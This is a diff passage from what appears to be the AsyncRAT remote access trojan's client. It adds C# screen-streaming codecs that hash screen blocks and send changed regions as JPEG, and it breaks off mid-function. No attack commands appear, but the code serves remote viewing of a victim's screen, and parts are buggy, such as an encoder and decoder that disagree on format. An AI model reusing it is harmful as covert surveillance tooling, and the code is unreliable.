|
||||
|
||||
public IVideoCodec(int ImageQuality = 100)
|
||||
{
|
||||
this.jpgCompression = new JpgCompression(ImageQuality);
|
||||
this.ImageQuality = ImageQuality;
|
||||
}
|
||||
|
||||
public abstract int BufferCount { get; }
|
||||
public abstract CodecOption CodecOptions { get; }
|
||||
public abstract void CodeImage(Bitmap bitmap, Stream outStream);
|
||||
public abstract Bitmap DecodeData(Stream inStream);
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,324 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeCacheCodec : IUnsafeCodec
|
||||
{
|
||||
private const int BlockCount = 5;
|
||||
private const int HashBlockCount = 8192;
|
||||
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get { return 0; }
|
||||
internal set { }
|
||||
}
|
||||
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 0; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.HasBuffers | CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
private Bitmap decodedBitmap;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private PixelFormat EncodedFormat;
|
||||
private MurmurHash2Unsafe hasher;
|
||||
private SortedList<int, SortedList<int, uint>> EncodeBuffer;
|
||||
private Rectangle[] Offsets;
|
||||
private BlockInfo[] EncodeHashBlocks;
|
||||
private BlockInfo[] DecodeHashBlocks;
|
||||
|
||||
public ulong EncodedFrames { get; private set; }
|
||||
public ulong DecodedFrames { get; private set; }
|
||||
|
||||
public UnsafeCacheCodec(int ImageQuality = 80)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.hasher = new MurmurHash2Unsafe();
|
||||
this.Offsets = new Rectangle[BlockCount];
|
||||
this.EncodeHashBlocks = new BlockInfo[HashBlockCount];
|
||||
this.DecodeHashBlocks = new BlockInfo[HashBlockCount];
|
||||
for (int i = 0; i < HashBlockCount; i++)
|
||||
{
|
||||
EncodeHashBlocks[i] = new BlockInfo();
|
||||
DecodeHashBlocks[i] = new BlockInfo();
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
if (ImageSize.Width == 0 || ImageSize.Height == 0)
|
||||
throw new ArgumentException("The width and height must be 1 or higher");
|
||||
if (ImageSize.Width < BlockCount || ImageSize.Height < BlockCount)
|
||||
throw new Exception("The Image size Width/Height must be bigger then the Block Count " + BlockCount + "x" + BlockCount);
|
||||
|
||||
int PixelSize = 0;
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
int Stride = ImageSize.Width * PixelSize;
|
||||
int RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodedFrames == 0)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
|
||||
double size = (double)ImageSize.Width / (double)BlockCount;
|
||||
|
||||
//fix floating point here
|
||||
for (int i = 0, j = 0; i < BlockCount; i++, j += (int)size)
|
||||
{
|
||||
Offsets[i] = new Rectangle(j, 0, (int)size, 1);
|
||||
}
|
||||
|
||||
EncodeBuffer = new SortedList<int, SortedList<int, uint>>();
|
||||
for (int y = 0; y < ImageSize.Height; y++)
|
||||
{
|
||||
for(int i = 0; i < Offsets.Length; i++)
|
||||
{
|
||||
if (!EncodeBuffer.ContainsKey(y))
|
||||
EncodeBuffer.Add(y, new SortedList<int, uint>());
|
||||
if (!EncodeBuffer[y].ContainsKey(Offsets[i].X))
|
||||
EncodeBuffer[y].Add(Offsets[i].X, 0); //0=hash
|
||||
}
|
||||
}
|
||||
EncodedFrames++;
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
List<HashBlock> ImageOffsets = new List<HashBlock>();
|
||||
List<uint> ImageHashes = new List<uint>();
|
||||
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
for (int i = 0; i < Offsets.Length; i++)
|
||||
{
|
||||
for (int y = 0; y < ImageSize.Height; y++)
|
||||
{
|
||||
Rectangle ScanRect = Offsets[i];
|
||||
ScanRect.Y = y;
|
||||
|
||||
int offset = (y * Stride) + (ScanRect.X * PixelSize);
|
||||
|
||||
if (offset+Stride > Stride * ImageSize.Height)
|
||||
break;
|
||||
|
||||
uint Hash = hasher.Hash(pScan0 + offset, (int)Stride);
|
||||
uint BlockOffset = Hash % HashBlockCount;
|
||||
|
||||
BlockInfo blockInfo = EncodeHashBlocks[BlockOffset];
|
||||
|
||||
if (EncodeBuffer[y][ScanRect.X] != Hash)
|
||||
{
|
||||
if (!blockInfo.Hashes.ContainsKey(Hash))
|
||||
{
|
||||
int index = ImageOffsets.Count - 1;
|
||||
if (ImageOffsets.Count > 0 && ImageOffsets[index].Location.Y + 1 == ScanRect.Y)
|
||||
{
|
||||
Rectangle rect = ImageOffsets[index].Location;
|
||||
ImageOffsets[index].Location = new Rectangle(rect.X, rect.Y, rect.Width, rect.Height + 1);
|
||||
}
|
||||
else
|
||||
{
|
||||
ImageOffsets.Add(new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1)));
|
||||
}
|
||||
|
||||
blockInfo.Hashes.Add(Hash, new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1)));
|
||||
ImageHashes.Add(Hash);
|
||||
}
|
||||
EncodeBuffer[y][ScanRect.X] = Hash;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (ImageOffsets.Count > 0)
|
||||
{
|
||||
for (int i = 0; i < Offsets.Length; i++)
|
||||
{
|
||||
Rectangle TargetOffset = Offsets[i];
|
||||
int Height = GetOffsetHeight(ImageOffsets, TargetOffset);
|
||||
Bitmap TmpBmp = new Bitmap(TargetOffset.Width, Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
int blockStride = PixelSize * TargetOffset.Width;
|
||||
List<HashBlock> UsedOffsets = new List<HashBlock>();
|
||||
|
||||
for (int j = 0; j < ImageOffsets.Count; j++)
|
||||
{
|
||||
Rectangle rect = ImageOffsets[j].Location;
|
||||
|
||||
if (rect.Width != TargetOffset.Width || rect.X != TargetOffset.X)
|
||||
continue; //error in 1440p, did not tested futher
|
||||
|
||||
for (int o = 0, offset = 0; o < rect.Height; o++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + o)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
UsedOffsets.Add(ImageOffsets[j]);
|
||||
}
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
TmpBmp.Dispose();
|
||||
|
||||
outStream.Write(BitConverter.GetBytes((short)UsedOffsets.Count), 0, 2);
|
||||
if (UsedOffsets.Count > 0)
|
||||
{
|
||||
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[0].Location.X), 0, 2);
|
||||
for (int j = 0; j < UsedOffsets.Count; j++)
|
||||
{
|
||||
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Y), 0, 2);
|
||||
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Height), 0, 2);
|
||||
outStream.Write(BitConverter.GetBytes(UsedOffsets[j].Hash), 0, 4);
|
||||
}
|
||||
byte[] CompressedImg = base.jpgCompression.Compress(TmpBmp);
|
||||
outStream.Write(BitConverter.GetBytes(CompressedImg.Length), 0, 4);
|
||||
outStream.Write(CompressedImg, 0, CompressedImg.Length);
|
||||
}
|
||||
|
||||
|
||||
//TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
}
|
||||
EncodedFrames++;
|
||||
}
|
||||
|
||||
private int GetOffsetHeight(List<HashBlock> ImageOffsets, Rectangle rect)
|
||||
{
|
||||
int height = 0;
|
||||
for (int i = 0; i < ImageOffsets.Count; i++)
|
||||
{
|
||||
if (ImageOffsets[i].Location.Width == rect.Width && ImageOffsets[i].Location.X == rect.X)
|
||||
height += ImageOffsets[i].Location.Height;
|
||||
}
|
||||
return height;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
//return decodedBitmap;
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
private class BlockInfo
|
||||
{
|
||||
public SortedList<uint, HashBlock> Hashes { get; private set; }
|
||||
public BlockInfo()
|
||||
{
|
||||
Hashes = new SortedList<uint, HashBlock>();
|
||||
}
|
||||
}
|
||||
private class HashBlock
|
||||
{
|
||||
public bool Cached { get; set; }
|
||||
public uint Hash { get; set; }
|
||||
public Rectangle Location { get; set; }
|
||||
|
||||
public HashBlock(uint Hash, bool Cached, Rectangle Location)
|
||||
{
|
||||
this.Hash = Hash;
|
||||
this.Cached = Cached;
|
||||
this.Location = Location;
|
||||
}
|
||||
public HashBlock()
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
private class ImageOffset
|
||||
{
|
||||
public Rectangle Location { get; set; }
|
||||
public List<uint> Hashes { get; set; }
|
||||
|
||||
public ImageOffset()
|
||||
{
|
||||
this.Hashes = new List<uint>();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,308 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeCachedStreamCodec : IUnsafeCodec
|
||||
{
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 0; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.HasBuffers; }
|
||||
}
|
||||
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private static Size CheckBlock = new Size(50, 50);
|
||||
private MurmurHash2Unsafe Hasher = new MurmurHash2Unsafe();
|
||||
private List<Frame> Frames = new List<Frame>();
|
||||
public const int MAX_FRAMES = 120;
|
||||
|
||||
private ulong[] DecodeBuffer;
|
||||
private Bitmap DecodedBitmap;
|
||||
private List<Bitmap> DecodedFrames = new List<Bitmap>();
|
||||
|
||||
public UnsafeCachedStreamCodec(int ImageQuality)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodedWidth == 0 && EncodedHeight == 0)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
return;
|
||||
}
|
||||
|
||||
Frame frame = new Frame(ImageSize.Width, ImageSize.Height);
|
||||
|
||||
int Blocks = (ScanArea.Width / CheckBlock.Width) * (ScanArea.Height / CheckBlock.Height);
|
||||
int RawSizeUsed = 0;
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
List<Rectangle> ChangedBlocks = new List<Rectangle>();
|
||||
|
||||
for(int y = ScanArea.Y; y < ScanArea.Height; )
|
||||
{
|
||||
int height = y + CheckBlock.Height < ScanArea.Height ? CheckBlock.Height : ScanArea.Height - y;
|
||||
for (int x = ScanArea.X; x < ScanArea.Width; )
|
||||
{
|
||||
int width = x + CheckBlock.Width < ScanArea.Width ? CheckBlock.Width : ScanArea.Width - x;
|
||||
int BlockStride = Format == PixelFormat.Format24bppRgb ? width * 3 : width * 4;
|
||||
decimal FinalHash = 0;
|
||||
|
||||
for (int h = 0; h < height; h++)
|
||||
{
|
||||
int Offset = FastBitmap.CalcImageOffset(x, y+h, Format, ImageSize.Width);
|
||||
FinalHash += Hasher.Hash(pScan0 + Offset, BlockStride);
|
||||
}
|
||||
|
||||
if(onCodeDebugScan != null)
|
||||
onCodeDebugScan(new Rectangle(x, y, width, height));
|
||||
|
||||
bool FoundBlock = false;
|
||||
decimal FoundHash = 0;
|
||||
int FrameIndex = 0;
|
||||
for (int i = 0; i < Frames.Count; i++)
|
||||
{
|
||||
decimal hash = Frames[i].GetHashBlock(x, y);
|
||||
if (hash == FinalHash)
|
||||
{
|
||||
FrameIndex = i;
|
||||
FoundBlock = true;
|
||||
FoundHash = hash;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
frame.AddHashBlock(x, y, FinalHash);
|
||||
|
||||
if (!FoundBlock)
|
||||
{
|
||||
int index = ChangedBlocks.Count - 1;
|
||||
Rectangle cBlock = new Rectangle(x, y, width, height);
|
||||
|
||||
if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].X + ChangedBlocks[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = ChangedBlocks[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
ChangedBlocks[index] = cBlock;
|
||||
}
|
||||
/*else if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].Y + ChangedBlocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
Rectangle rect = ChangedBlocks[index];
|
||||
int newHeight = cBlock.Height + rect.Height;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, rect.Width, newHeight);
|
||||
ChangedBlocks[index] = cBlock;
|
||||
}*/
|
||||
else
|
||||
{
|
||||
ChangedBlocks.Add(cBlock);
|
||||
}
|
||||
RawSizeUsed += BlockStride * height;
|
||||
}
|
||||
x += width;
|
||||
}
|
||||
y += height;
|
||||
}
|
||||
|
||||
//write all the blocks
|
||||
for (int i = 0; i < ChangedBlocks.Count; i++)
|
||||
{
|
||||
Rectangle rect = ChangedBlocks[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Position;
|
||||
long OldPos = outStream.Position;
|
||||
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
ChangedBlocks.Clear();
|
||||
|
||||
Frames.Add(frame);
|
||||
if (Frames.Count > MAX_FRAMES)
|
||||
Frames.RemoveAt(0);
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (DecodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.DecodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
DecodedFrames.Add(DecodedBitmap);
|
||||
return DecodedBitmap;
|
||||
}
|
||||
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(DecodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return DecodedBitmap;
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
return new Bitmap(10, 10);
|
||||
}
|
||||
|
||||
private class HashedBlock
|
||||
{
|
||||
public int X { get; private set; }
|
||||
public int Y { get; private set; }
|
||||
public int Width { get; private set; }
|
||||
public int Height { get; private set; }
|
||||
public int FrameIndex { get; private set; }
|
||||
public HashedBlock(int x, int y, int width, int height, int FrameIndex)
|
||||
{
|
||||
this.X = x;
|
||||
this.Y = y;
|
||||
this.Width = width;
|
||||
this.Height = height;
|
||||
this.FrameIndex = FrameIndex;
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return "X:" + X + ", Y:" + Y + ", Width:" + Width + ", Height:" + Height + ", FrameIndex:" + FrameIndex;
|
||||
}
|
||||
}
|
||||
|
||||
private class Frame
|
||||
{
|
||||
public decimal[,] HashBlocks { get; private set; }
|
||||
|
||||
public Frame(int ImageWidth, int ImageHeight)
|
||||
{
|
||||
this.HashBlocks = new decimal[(ImageWidth / UnsafeCachedStreamCodec.CheckBlock.Width) + 2, (ImageHeight / UnsafeCachedStreamCodec.CheckBlock.Height) + 2];
|
||||
}
|
||||
|
||||
public void AddHashBlock(int x, int y, decimal Hash)
|
||||
{
|
||||
x = x / UnsafeCachedStreamCodec.CheckBlock.Width;
|
||||
y = y / UnsafeCachedStreamCodec.CheckBlock.Height;
|
||||
this.HashBlocks[x, y] = Hash;
|
||||
}
|
||||
public decimal GetHashBlock(int x, int y)
|
||||
{
|
||||
x = x / UnsafeCachedStreamCodec.CheckBlock.Width;
|
||||
y = y / UnsafeCachedStreamCodec.CheckBlock.Height;
|
||||
return this.HashBlocks[x, y];
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
365
AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs
Normal file
365
AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs
Normal file
@ -0,0 +1,365 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeMiniCodec : IUnsafeCodec
|
||||
{
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private byte[] EncodeBuffer;
|
||||
private Bitmap decodedBitmap;
|
||||
|
||||
private Size CheckBlock { get { return new Size(50, 50); } }
|
||||
|
||||
public UnsafeMiniCodec(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
lock (this.ImageProcessLock)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
FastBitmap.CalcImageOffset(0, 0, Format, ScanArea.Width); //check for FastBitmap Support
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format + " is not supported.");
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
//first frame
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
this.EncodeBuffer = new byte[RawLength];
|
||||
fixed (byte* ptr = EncodeBuffer)
|
||||
{
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (this.EncodedFormat != Format)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
if (ScanArea.Width > ImageSize.Width || ImageSize.Height > this.EncodedHeight)
|
||||
throw new Exception("Scan Area Width/Height cannot be greater then the encoded image");
|
||||
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>(); //all the changes
|
||||
fixed (byte* encBuffer = EncodeBuffer)
|
||||
{
|
||||
//1. Check for the changes in height
|
||||
for (int y = ScanArea.Y; y < ScanArea.Height; y++)
|
||||
{
|
||||
Rectangle cBlock = new Rectangle(0, y, ImageSize.Width, 1);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
int Offset = FastBitmap.CalcImageOffset(0, y, Format, ImageSize.Width);
|
||||
if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0)
|
||||
{
|
||||
int index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//2. Capture all the changes using the CheckBlock
|
||||
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||
for (int i = 0; i < Blocks.Count; i++)
|
||||
{
|
||||
Rectangle scanBlock = Blocks[i];
|
||||
|
||||
//go through the Blocks
|
||||
for (int y = scanBlock.Y; y < scanBlock.Height; y += CheckBlock.Height)
|
||||
{
|
||||
for (int x = scanBlock.X; x < scanBlock.Width; x += CheckBlock.Width)
|
||||
{
|
||||
int blockWidth = x + CheckBlock.Width < scanBlock.Width ? CheckBlock.Width : scanBlock.Width - x;
|
||||
int blockHeight = y + CheckBlock.Height < scanBlock.Height ? CheckBlock.Height : scanBlock.Height - y;
|
||||
Rectangle cBlock = new Rectangle(x, y, blockWidth, blockHeight);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
//scan the block from Top To Bottom and check for changes
|
||||
bool FoundChanges = false;
|
||||
for (int blockY = y; blockY < y + blockHeight; blockY++)
|
||||
{
|
||||
